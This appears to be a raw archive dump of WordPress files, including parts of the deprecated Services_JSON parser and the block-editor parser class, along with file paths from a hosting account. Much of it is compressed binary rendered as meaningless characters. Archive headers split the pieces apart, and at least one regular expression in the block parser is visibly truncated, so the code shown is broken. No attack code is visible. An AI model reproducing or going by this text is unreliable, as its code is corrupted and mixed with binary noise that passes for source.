$val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs[$c] == '"') || ($chrs[$c] == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { // found a quote, and we are not inside a string array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c])); //print("Found start of string at {$c}\n"); } elseif (($chrs[$c] == $top['delim']) && ($top['what'] == SERVICES_JSON_IN_STR) && (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) { // found a quote, we're in a string, and it's not escaped // we know that it's not escaped because there is _not_ an // odd number of backslashes at the end of the string so far array_pop($stk); //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '[') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); //print("Found start of array at {$c}\n"); } elseif (($chrs[$c] == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '{') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); //print("Found start of object at {$c}\n"); } elseif (($chrs[$c] == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } /** * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @todo Ultimately, this should just call PEAR::isError() */ function isError($data, $code = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if (class_exists('pear')) { return PEAR::isError($data, $code); } elseif (is_object($data) && ($data instanceof services_json_error || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } /** * Calculates length of string in bytes * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @return integer length */ function strlen8( $str ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $this->_mb_strlen ) { return mb_strlen( $str, "8bit" ); } return strlen( $str ); } /** * Returns part of a string, interpreting $start and $length as number of bytes. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @param integer start * @param integer length * @return integer length */ function substr8( $string, $start, $length=false ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $length === false ) { $length = $this->strlen8( $string ) - $start; } if ( $this->_mb_substr ) { return mb_substr( $string, $start, $length, "8bit" ); } return substr( $string, $start, $length ); } } if (class_exists('PEAR_Error')) { class Services_JSON_Error extends PEAR_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); parent::PEAR_Error($message, $code, $mode, $options, $userinfo); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct($message, $code, $mode, $options, $userinfo); } } } else { /** * @todo Ultimately, this class shall be descended from PEAR_Error */ class Services_JSON_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct( $message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error( $message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct( $message, $code, $mode, $options, $userinfo ); } } } endif; PK $[nhhblock-editor.php.php.tar.gznu[=ks6UȖ.#4s+(~Euϖ\:3fsY#Yg $3#KKF ~рLeQ*U7.f{dj>LqHt?ʊNҺ(9}l?8{ڿ9޷` n긄)s!0rs6WGdzB V'/ODE,uUQk<[A^{J׋2T=*KZ*"8(S] Ms]5(`;Ћ*ePRL'.˸5L) e|\(o^,q:#Cwԯۛ/*[LJ?PZZu}V3@a,6Ȑi^𧻙C:=ow3U Toǻ du{ğf=$<tg *ESsel;Gu=2R~͂qR8ҪWJsĽ6diJR:b̲qz2z #IĖ-z$ö9F@# (Ԉ ظ/z #x'?} [1l+NvoEG@9\7M&v7W*)Ƌ` |'4o)tO40Wյ:EiQTyt1qN>D$w1N/Izdq9ԡ񜛤k@P:P.]%L&jA$ :O ]bnDF4a{p2Ǫ`#/u>c#-K4}hɄԪExmЖ6##c/b  Y;U!s3T"w9KԬ yCňz, h,}56c7ʘV`n, ?oԻq`h+7Wux ?煢\tb~V's`QJ]Xg ߮=Kbd_<9I<#`\Uke_ȟC}UX-CF_YhkQ_~AԪeZs&:7 i[E#شXcFDIHykAwlsmkmH+H- u`Ft&l}>Ph,:rt"j ,tV(~|P2y; {n"5u$^ȮkŇd2jؒ6w$0H|,:IPC&%#D#>[U5;}%cC4> yJ@+(.. -`4A PD1[Pa_Dy rAPjIk$ښ|/}rJ Ӳxy@D⺈0>!{9h9ÅΓ?rk0^ɇCrb7 wNQqvQr͢(KˮGT% ?$ A3gڶz0>5eýP{""dگv^ 2J'زUKHưAZ x0ӈFx@J4'?C ~IEn}{ZƠHJ'fBU \lW(ݳgæF`]J+]X'8Hba vM]x%xh" `B8nh ڦ+mcqmOq9$C)M xeȫcu#N4J44ɓ1?"ѧi"-qG>Iǚm0A"|(e|}$S0Γipڻ %BqUscߜ(94 Vb9I2,ƽ=; ,ȃ- 5m̈́ W;(fJ5|Xc5%Y5@:mSG7 &Tʴ1=8@=}/Kl tO ]aG=ay%,E5{WAO"MFHZ6$?blOCdsb$GǔTĔS|ض sB#n7`-Y\;7@MJ4dK$QNBjwch@Bܳ`5t9nYK5 ,0\ب {dq @Qݮ٠(~|v8o1=\l*p\^} ־ujNUW;ƻ i ~wp>|`Q#ώnoByp@9n\ߝM;%_cYÇ!RMm6B#3RMSN[+qEgKҾ<D"xx^ܮl[)֑Cދ"ٌ[('r1\|;e{1[{|Z`u10C [sS fZ.%l=,E=[z3BÜ[>}Cn=wjȀgj5`ckCթFdl -z@ yCCC\J;ehĥ,R3^yJ#f2vyVj-";ސk- G&"ٗZ$,ׯQ11 .sq;Ld}| 1V;SΝU`Я$n֦{3WR[N4vx+tIzPBZ] I6jY|rV]U㙁}}cFC<\)VV3r 99iwBOu 1LQ.i3A`j/ %N XfMbN,6@"+Jeg][}uĩ6K,o9Q<1J|މIPt9T|;XsC9l2)$ %MrŚ(5TYgPwGK.t8Ik \hrT;[g6:-Bϵp.ۖ;\볨Ł\#]@}qi;%3љI̱ J;P^]j:C* >:*y3R-jYwI,O:LG3Cnc,TbnGj$~]헒e}"EBx%qЯkh==,"c{7;֠O1=ˑ=+;2D#\宾Qt;a8:|5`VôHmeUZxmRtUd:9s+ >(##}d:`!NuQŗS`q6p$:V_ U|N)&%ܱE2K5;W D/`{*'6.ۤ+ KR/csohR:( nN?Z0݌GFk 2:NPbc=ԽP u V=[=VVQ?xqs?[H=QS`{#.(qsL&nz5іVRGsXS89isdEJIQ8\``1K^Q+?Xtk9rJ,8Q 3xͿ{a<"ͺ/D_ydzc 8o`v5o6N}Ϭyg 3ovvt-rRȓgp1D=D?biDf3Jӟp N E,(ʿ;d7\mLnb#L[BI*?й0+VoE<}i]ܰunj[n[@C´PwC9rĕr uE؝}%L|k0K[#q{P >2S5|9 !s bybq qHM-LŘ M=ޤ@mM3/>amֻYNVWX\5LO$[dܽڣΥ0_ 3^}Ks<1<^Z^Ө(|>ŏ{`'m/H$W?qj&rH"і<Ldc@&k].'*gϻ5w2\[2ҾFZ+O0^:wK-G/j[os'22.s)7f1p@u=<'FsfDsTm^r />vӗogHpV/eQBfp ë/)K&kƯ(5AB7o2K,H3s9CoʡE "G$>}`",óӬ΋t4~Q-X-#=B%3ŕ{%dw>X@,@3|46g%w07{Yt>k?B=oSq,$XV<%6kk\pKVOF,A p*]9h ႈvpj%(w %yFRf6Np;4RM_ShwsX&` rH]A tvn5`gD12WYn>4hz0LӃ[fvNog  )pyYgwNAS馪ee槽%>}uI lVJ˳0H̿gߨN" hZr#ŀ(_࣌`;0Sb5f[={rAMv6;}g1SXJ`XΌc תQm??)UxPK $[?Pr44class-wp-block-parser.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-block-parser.php000064400000026414150551420540021770 0ustar00This is inside a block!" * * @since 5.0.0 * @var string */ public $document; /** * Tracks parsing progress through document * * @since 5.0.0 * @var int */ public $offset; /** * List of parsed blocks * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $output; /** * Stack of partially-parsed structures in memory during parse * * @since 5.0.0 * @var WP_Block_Parser_Frame[] */ public $stack; /** * Parses a document and returns a list of block structures * * When encountering an invalid parse will return a best-effort * parse. In contrast to the specification parser this does not * return an error on invalid inputs. * * @since 5.0.0 * * @param string $document Input document being parsed. * @return array[] */ public function parse( $document ) { $this->document = $document; $this->offset = 0; $this->output = array(); $this->stack = array(); while ( $this->proceed() ) { continue; } return $this->output; } /** * Processes the next token from the input document * and returns whether to proceed eating more tokens * * This is the "next step" function that essentially * takes a token as its input and decides what to do * with that token before descending deeper into a * nested block tree or continuing along the document * or breaking out of a level of nesting. * * @internal * @since 5.0.0 * @return bool */ public function proceed() { $next_token = $this->next_token(); list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token; $stack_depth = count( $this->stack ); // we may have some HTML soup before the next block. $leading_html_start = $start_offset > $this->offset ? $this->offset : null; switch ( $token_type ) { case 'no-more-tokens': // if not in a block then flush output. if ( 0 === $stack_depth ) { $this->add_freeform(); return false; } /* * Otherwise we have a problem * This is an error * * we have options * - treat it all as freeform text * - assume an implicit closer (easiest when not nesting) */ // for the easy case we'll assume an implicit closer. if ( 1 === $stack_depth ) { $this->add_block_from_stack(); return false; } /* * for the nested case where it's more difficult we'll * have to assume that multiple closers are missing * and so we'll collapse the whole stack piecewise */ while ( 0 < count( $this->stack ) ) { $this->add_block_from_stack(); } return false; case 'void-block': /* * easy case is if we stumbled upon a void block * in the top-level of the document */ if ( 0 === $stack_depth ) { if ( isset( $leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $leading_html_start, $start_offset - $leading_html_start ) ); } $this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ); $this->offset = $start_offset + $token_length; return true; } // otherwise we found an inner block. $this->add_inner_block( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length ); $this->offset = $start_offset + $token_length; return true; case 'block-opener': // track all newly-opened blocks on the stack. array_push( $this->stack, new WP_Block_Parser_Frame( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length, $start_offset + $token_length, $leading_html_start ) ); $this->offset = $start_offset + $token_length; return true; case 'block-closer': /* * if we're missing an opener we're in trouble * This is an error */ if ( 0 === $stack_depth ) { /* * we have options * - assume an implicit opener * - assume _this_ is the opener * - give up and close out the document */ $this->add_freeform(); return false; } // if we're not nesting then this is easy - close the block. if ( 1 === $stack_depth ) { $this->add_block_from_stack( $start_offset ); $this->offset = $start_offset + $token_length; return true; } /* * otherwise we're nested and we have to close out the current * block and add it as a new innerBlock to the parent */ $stack_top = array_pop( $this->stack ); $html = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset ); $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; $stack_top->prev_offset = $start_offset + $token_length; $this->add_inner_block( $stack_top->block, $stack_top->token_start, $stack_top->token_length, $start_offset + $token_length ); $this->offset = $start_offset + $token_length; return true; default: // This is an error. $this->add_freeform(); return false; } } /** * Scans the document from where we last left off * and finds the next valid token to parse if it exists * * Returns the type of the find: kind of find, block information, attributes * * @internal * @since 5.0.0 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments * @return array */ public function next_token() { $matches = null; /* * aye the magic * we're using a single RegExp to tokenize the block comment delimiters * we're also using a trick here because the only difference between a * block opener and a block closer is the leading `/` before `wp:` (and * a closer has no attributes). we can trap them both and process the * match back in PHP to see which one it was. */ $has_match = preg_match( '/).)*+)?}\s+)?(?P\/)?-->/s', $this->document, $matches, PREG_OFFSET_CAPTURE, $this->offset ); // if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE. if ( false === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } // we have no more tokens. if ( 0 === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } list( $match, $started_at ) = $matches[0]; $length = strlen( $match ); $is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1]; $is_void = isset( $matches['void'] ) && -1 !== $matches['void'][1]; $namespace = $matches['namespace']; $namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/'; $name = $namespace . $matches['name'][0]; $has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1]; /* * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays * are associative arrays. If we use `array()` we get a JSON `[]` */ $attrs = $has_attrs ? json_decode( $matches['attrs'][0], /* as-associative */ true ) : array(); /* * This state isn't allowed * This is an error */ if ( $is_closer && ( $is_void || $has_attrs ) ) { // we can ignore them since they don't hurt anything. } if ( $is_void ) { return array( 'void-block', $name, $attrs, $started_at, $length ); } if ( $is_closer ) { return array( 'block-closer', $name, null, $started_at, $length ); } return array( 'block-opener', $name, $attrs, $started_at, $length ); } /** * Returns a new block object for freeform HTML * * @internal * @since 3.9.0 * * @param string $inner_html HTML content of block. * @return WP_Block_Parser_Block freeform block object. */ public function freeform( $inner_html ) { return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) ); } /** * Pushes a length of text from the input document * to the output list as a freeform block. * * @internal * @since 5.0.0 * @param null $length how many bytes of document text to output. */ public function add_freeform( $length = null ) { $length = $length ? $length : strlen( $this->document ) - $this->offset; if ( 0 === $length ) { return; } $this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) ); } /** * Given a block structure from memory pushes * a new block to the output list. * * @internal * @since 5.0.0 * @param WP_Block_Parser_Block $block The block to add to the output. * @param int $token_start Byte offset into the document where the first token for the block starts. * @param int $token_length Byte length of entire block from start of opening token to end of closing token. * @param int|null $last_offset Last byte offset into document if continuing form earlier output. */ public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) { $parent = $this->stack[ count( $this->stack ) - 1 ]; $parent->block->innerBlocks[] = (array) $block; $html = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset ); if ( ! empty( $html ) ) { $parent->block->innerHTML .= $html; $parent->block->innerContent[] = $html; } $parent->block->innerContent[] = null; $parent->prev_offset = $last_offset ? $last_offset : $token_start + $token_length; } /** * Pushes the top block from the parsing stack to the output list. * * @internal * @since 5.0.0 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML. */ public function add_block_from_stack( $end_offset = null ) { $stack_top = array_pop( $this->stack ); $prev_offset = $stack_top->prev_offset; $html = isset( $end_offset ) ? substr( $this->document, $prev_offset, $end_offset - $prev_offset ) : substr( $this->document, $prev_offset ); if ( ! empty( $html ) ) { $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; } if ( isset( $stack_top->leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $stack_top->leading_html_start, $stack_top->token_start - $stack_top->leading_html_start ) ); } $this->output[] = (array) $stack_top->block; } } /** * WP_Block_Parser_Block class. * * Required for backward compatibility in WordPress Core. */ require_once __DIR__ . '/class-wp-block-parser-block.php'; /** * WP_Block_Parser_Frame class. * * Required for backward compatibility in WordPress Core. */ require_once __DIR__ . '/class-wp-block-parser-frame.php'; PK $[Ǭw autoload-php7.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/autoload-php7.php000064400000001572150545314250023205 0ustar00/k[80:$4(MǩHNdM$ʋ$BK1d^ 0WM2B$ IFÎ{ ߙg jD.t/P}.Zu%آY'6(e.m)&hp}xps FEKuQkhƎ%eIC0^;wzΌjTHA8{Qqu$1}\uWbv&iZZq6ʬBIE.*,V1͠kNFSaxDt]`1P-E(m}˕bhj zQE  U *3O4=zտB@Hil$'1=XB3"JRj "Rr<$lHf <)")04ɌxH }4`8 ?Vt'=E+ @r_4r$t"]/C([3!-kx8xS KTxbs3A>:'(Y"d~!0tDh4!.x2 PXH9P]+ZH | FRxa<f.U2>^As+wBa?ATz= xT 蟑1f wh{зދf)ڟ=c>1f=J=>~?ь}za?8 JxB5/sn;xWhAH^$W$/pF }<>~5$M-kc< wV"ah١\^q!=EY:ᐃR("A5]"QPݭ '$X+ؑ{xVbB׌PS0. ~U^d1vqjA+ʺ&h V};G3 ^1&f*̇,Gq.pe+] J,сAhV+PE0s2;)3"Ϝ$d#*4g] jVdJDA3 :/h։)0hh#abFZ8i '^.i IA\D p\;PA"FQ\#IBlFÿ 0{@Cukp%bO]9R!R\PeI0gv7Vsh=PK-ީUzeUnw`@fl6,hԼ9 qْz`h A@s0SLd|3԰0W\o Uj(hP nР/DۓR==L/Arj9pߪ^:B+y,S9W ?G)R,W //CP!P_ܐϗo_ν>s Lq4I+4Z;TX{]P =AԠG# f>s1^Lq} B qZ<3#8\G&-& K콹0S7hX׬s$Gşl`d¡]s! /X\WPeƙ 1Z#! <$ܫ/Ok { )Z i }m$Y+|GGlrm [@)04&m+4H5(X"@| o@vKLaJE -!lDۓ0i1*`HsIV.Ԓڑghp: e^&BW s~7o`qkCB@ C9ޮ P#6nZomX#A=ǝ]>b.xI3/$Cx}8v(&{t|"mJ=H53X#e!X\5;#AARhakL 0x<@ Ǯ !YcL#0h()[#xQeJ"la Ř3쎊Hus]]3N9~bS:j)*" ^B} UK^EˆvE>ބCwA?[]R2ʜsUQ$@*ue*7 p齀 ]|>9H`1ח=} рcqV!On`m%%#'>߇džFf.u_Xop vQNjg{^4QƁ#T&Z5)U`Mܯ- RkagOܫuh6 GpgW^dEXdrJl2%B)#3w~_`vٴ~{72 H_k<`6xY5mhAbr@D*&#Zsζ(I2` GdsL:hj 0ujA"Ǡ^Ww(0[2Q_ڲ٠"0BZY޴ALL}wowDvE!ƚ(hJL7cA\cBuP=s3`Q8"'hN)c"~䘉*n?e znHD4HA9C{,~BI4n=z +X^Wԩ&HqWt*n.V/drpBlbVƒqj@o.< ܒYֳ?&15&p{6]K? +u\' s^0؛[G!Er̦"724@fB/G_<_hlnLhfwȦ͹iVo )!}.-^5սOAow<[Ȓ*#=s@ٞWQKŒ=D"ԛ3!9J/& GH|E! 'R^;LH&C`3 ܣVԌ"ltش/^7ZC4 "q$!NT6\YX3-"_~q$v5:`Qbih?0ɿ!'eGv]RМ{vO5\=Y<>JyLA4Ewʉ\O7r㖫_B9!HlG1"_H봐 HnyA L89 .}'\xcq4jV}x_TCuy<$/` /4&pFq\ ^;$|Tu_  IE$!9GL@E~pb^$E_3_d=(nwF ^C#mL3Jǩf䥠|=A"=5F $a7{r1 AF 2~7ϒ(IW^rm7ج?0 Nzb1Gj M;"I^("߬?r2"Sx.-2a=h*#G)}trB]MX8a-Ӓyc 0P ]3# s6ʵVfʵvEv -4*ӏnD3K19w1釴>kT,~_߃*3 }f!\[Us|wE:ztއ+|? `B ba_2v\CPk|3)b V D1ɟMVěni؜3w9_.K]# .`XZJ04R>}OuVfrz$Gȼn'ERڴ|1&;X.*rxז.eűkLw6Qr[5[1үW3tJu^9L4wwW&v°Ń?U2;dɁʂՇ|&vWmGOޡq2E Dyax-y)<~WLd1 !̫Ga IQ~fDj`2@ILj3]A9ɀs{C%8)z$1>1~)?Ԉ,09(y;`/>XXW[@@b2٦1 Υ8ǡ U- B_ lUJc%ZI3FOYx4rUt%>2 [*J7bȎD}EvN$4 s!Ϩvoz~a.lJ2!]6e +L}ܥ"Tބl1nkk[+.I]':Zt+g|'Wh})YϏHwƌ^ò騪zl2lD=%MܽjB.:-Ñ^-gӇ9:$$YPK3,;j#SBECQ:cU\ ODܛHbl=tYWT c?DsV+\$sLtS:hArt\.Kh~<_3χj%̶.eFi2Ր·\}:zw1jlRb]#yc}H>Pil۝UKs"8-CpiAodsm ԦX-Ej~$E:Ta% n)wڕD5E406D[?c5rr+war^:"],>u&ps3{ ~<{FJ͊>3?*#p" geCTarp n13磮~yfXA~$ۏ '0P8mL+ܴF)<s;8>ѹ% {F~jN <0,QJ.TEW>͋kUR`=k e=ׯj_ؾq&k?'ߗz}Օcƽz~)֛Ofyl+;9g"M;# 2<Ljs܂{[mr(1.Op3 _`>@wsA̋Efp)kuז0.ȸW >w9 c17`&**r9DWY\Pᢙ<6O8~#1~Ժ*BQ`{̇#aR_^0j !xajY/b"C}n }t:gX+,(<P^hN.p@Km!m'L`tt œ71(qWss;_-& >u2(.AXTJQBޏB{{dSa\>NeUooI % Bf]~t/ QWAzsjȺugҭ;~B#te[#f&3Xt2;>cE}ytœ5יuoeU9gQWÂuHˎQr{ RDb’9&!=oܳLZ8ro>氄}.<@ &񻩰!?"Ea4׆"V#of_1aڌ`;q&F)un`ͨ'f&uƸ8YU ]q;̞5>ނkDY8 $pNq读Kqރ~9\=~>J[7s_> źN.g1;؏16vvjliLԂǣܷW?qyxhl!{zCCK]U,f x07h>bv8jk"CƷ3 ߔ,c nZO(1~Mwx6o/sF+**@p.p(~xpɩcCf20Q|4dB 2 Qszħ7 <wMÞQ'H1$USҌ(րqYDl8$ʳێ*֊ %Tipp0$yNIuaCcCy&=C[N\3@\Y?"5řRFJ&@lg2M=o.֫S˴|U}AZx'@ <*ƼUY(PiڝfZ}u0pNƲv/^Mn>A5u\}͇S$ D؞`/srAuH/CN`B[0k[ݐtr=1;V v;3ÛM+HOo(HJ͔g,;%Dm?+?:?TwH&p ;cg7ٻ=q5a9sDB5wE++V"Xx#ܡP"N_cKXTj^k|a(+Aui[~qA}qpT-3X.]ǟ"Wef:OTT{-=_ޛ[0"q{dy=6ڄ4PH> pxb4Y4rhP΢ѓEd>EA dq(\3pWQ%TL8 ;V.Ì@FÉ(Ha\4mf~3'FS >74/t&%h&cN1A0?Qj U3t+:&.K?DA}#|;$Rlz툔o  5e͌[Z|"Šdܭ8Ff3RA_u&rxcά[FK#Qv fS(ıקJ-hRdF2Wس1\*XT<ۭG\fך^a) !ߤڥ0B.)d]?Wܱlq̯ղ[3YPevyn5l,a+dЬ=ʙNMLg9-<~3"i3<ڙrKL#;rn5~oʏ,x6T#L>{ߍ˙j.y cɌPzS,wL3+X꣺4LZQh cA9ef8›lNbn6{l^~2e<ڕl-ÎS5\ؼǴZ^SjnŞnԋ~If.RrTƘ վZ~lT;.s]Rɬ*#,^T6AoxZb3]6c)qU}}ﲏZۅڕp/OJa\I߱ae|h[-*҉ a/^+ة*ÎZg1=讓J?l4܄#tVL汒:8?.0e){RykdgYUjW{CdiVrي͖ve]69v3)C;טdsy+sww?p\CKAGk.dCɕ03S,? bOf+m6hfq׺LQt:?{ϱX΢Rm63Y7e)Q9=d, I4ն* 7R|7q4Kx56s%ܯC=E5cDIz] 16Z-Z_nQld.y#&{)_7Zs&PykƳᩐ*]*}m=Owm,{Ui^oZL“r5TPR& ڶ;休7bUKyUϴe_ t~fwbIJ*}fȵcYhek"Kz'oy>\G(JOCRe Ja ϧrm߷OHzng_IȘR3^琶Z4s"d&r%;2^#EK]C1 7ֵݝ: |\Zu..R]%V-mU2_.T-R-݇tِ;R.F"0DE=!-27]faaJXCo7X+9MT"D/Ԯ6F].gIVEo.C#u$' FXN&9c~TvV~U12 |2m,"? #ADedM,]8.i,k8iw7ݚFT2Dw"=cV )%-M;iI.=fH4rqoXu-,jŢlM*㪵bB* _H/ňQkF[HcUO\.x-2ªasPBN76,þVeu(&?^kiCv.Kds[/z-vc4ZLmTt7 X|-\]z=Bm ~!N*nÕZK/Di+}I~wE i:^FmV:JwETkbqbx-pwU\lEuR~]uY.O,rYd5Tj$^O󲕼/jϳ٦]$',fC绥P\,"Rh^z֬4ʤݯG#F SoSszCtU8ˁ-*Jxis^F8vד+>⪖nw[h⻕̲zA+bJdWTjIkFJl)Vbr2He+ :&[E5ֻ98Vð?̷c4ChY؛WI{PXMR_mU?z -Uxj?yB '>/X-/Cy>ףyPj'hU1F;-| ff/5"IOwRc/=(NޯtvkA?c"q4䘄2p}|o֏ +pRcٚ{j"4o6~?mVk=xkUld.ѫgvR?x(j?<֣q' wIh̊c%?VMNT9]u%.픐ҐKʆFBdM4 Jj8jذ$Q~5%쨘fGE;qiF2Whmޥ;aJ 4=>2<]ٞmqF)t쯷e1ZM'F[Jv[لjQVմHG[)^g[Lb3_ERfoǻn2]ho+%zl]Ja#Ӹ6CQrglOwlaW5J~c*&rE_ۿ&!RrxH,(; ՚0Y&PT1n olzj#ZGT΢jF3%dF1xjێ_gL1FJ6+0'6'BjeV(w+p[} +~%a 7Bsʆ͞o"8ӿ:P(_āBBT`{?\J9?Rø1@Io9/ q"^GLuƝeZziyv:TjxOJsgkU%+5P&z.aLr"#:[9l-5Xnv[-p>T7VMצ~"F f: ?bVYGS*٬UU62l^ ϱڨq\uHLD(ۡ8XEtXt7` Mlj?d(#b,Yw;-۠6ezDt/byX MڮJ;Ō.϶*_kݧՒvU~UK kP*7%9>nU^n;F?W?΢&jJ#ѝ_ vZC<-| ͐?N*MOl: W^mVƫͧI>_6Z>QZm uC(? o %xWF|sH9`sfY|k~F6/~+{?@P{/P 7 NX+OcC?PoC9}/%z Ea`_se^)75PZ,LǧdO Xќ&v_"sp}_Oߒ,Q7ȇ738*RiIHŌSwQ/F zZp>Zzg م1hĤw:FXl^/wXp ε1 {: #®8 cr,y _b"g}"P7TFA˵kR^)? &IB,7L<~a0wJP5A K`E&ȏ@e ^;%A d#6fb?؏8c@Փ < lw2.ͱO,8ېJz-(L N̏j#ؙ2^ؙ5 k'"|N]+\2tmo]v|7yG\ۀ$XH@ oCH+[-GT8!Acѡ~luCT;R2k{Mw5VOX EtVC;e\1L9&== lx9l&mNnY_t{nJH8fM J)iQ3tB2 \П06P+2|7\8*!ֺ!_V©1D$n-㊨!v\׬mԆ3nGLF4;5kȲ>qA> 6&L?a BG}a^Dp&f) dN ,c!A4U(g(rSuK׿u"Аєé큼C-ƭx9#X836a^`H&JPx2ߊ3Kp5hpdƟz5fcڊƏO{#Cbqh7(hD|10c&2w?57;LEt{:쥽 {9Cp=؞|c>Ƒl%k9̨tI8z|M4U_~D"{ x/r3FѸ~pqhCo| .s8pk?p}d٪{4$g$!xwcPZ)"[]&BK~:'K>inȀ |P狗CnXT=;؃cbk"+L_djsw' !r aicJE< 0:仓<=9?Ҳɟ|dSszȴ3"u?9~ٰ7>k( ,#-nt V; L>;yuݻ'.J J:hyʺf 1db.'v2$x➭aŽ|V3xVEƓ  / { @wLu+rSa7p D"|^a5S.ɆjCO5fC5r?j" hw Ѕ+YY>/b*Fğ·WߍSJ]-ඌuo)埝 [<A 7F>bjH'`H{q%':Hc|W.L ?>`UZ5'q9m_ Ct,غ u8Y!5EfX^A/BȐv]6!\YG|p>Ћv<l nχhǫ'miũ IJQ֊'JOh$te^Y,5@a7J%_")n~o.&l";PAOdk%W#slw[ƓMRc5;{'&$p`"j1=oK#%m,> V<_Xo0?=cC{{q[MFz%^ZkJ-F8!翦l9z{K /wAGy}5َf}>28Uw\ǼO0G!Vp5I'ЮXv,c*s6/f룇%sqV[7|܌r~ 3 ]0U(JΝ\`0H~qz| k98^{໢ ( g 7taN%&X.a$hS$TWJyoȷ'*)=Lū#R 4Y!#HpRk":zM+N*A7Ȏ'tNa{~ykq l?ѱ,R As`x sg|X+WcjwOϽ>7h<3i.+jBH4O$Si?{D]u/  `& `B 0!t~>2 "X\3~DO!<.slp$2C$$Bak4Kf-e>~do Cy\ &0sfX`o" m^1tufc"oF 1oPB?$CBa7"VRLYIQ3)e%E,X +-lE 4[ml-cQJdPRZC#~3qE/ϣ  H B*#g$LZ$N)T'ӹO0U1l+/kr\ % Uu X!&\+r 'h.P)#Wh$"w( 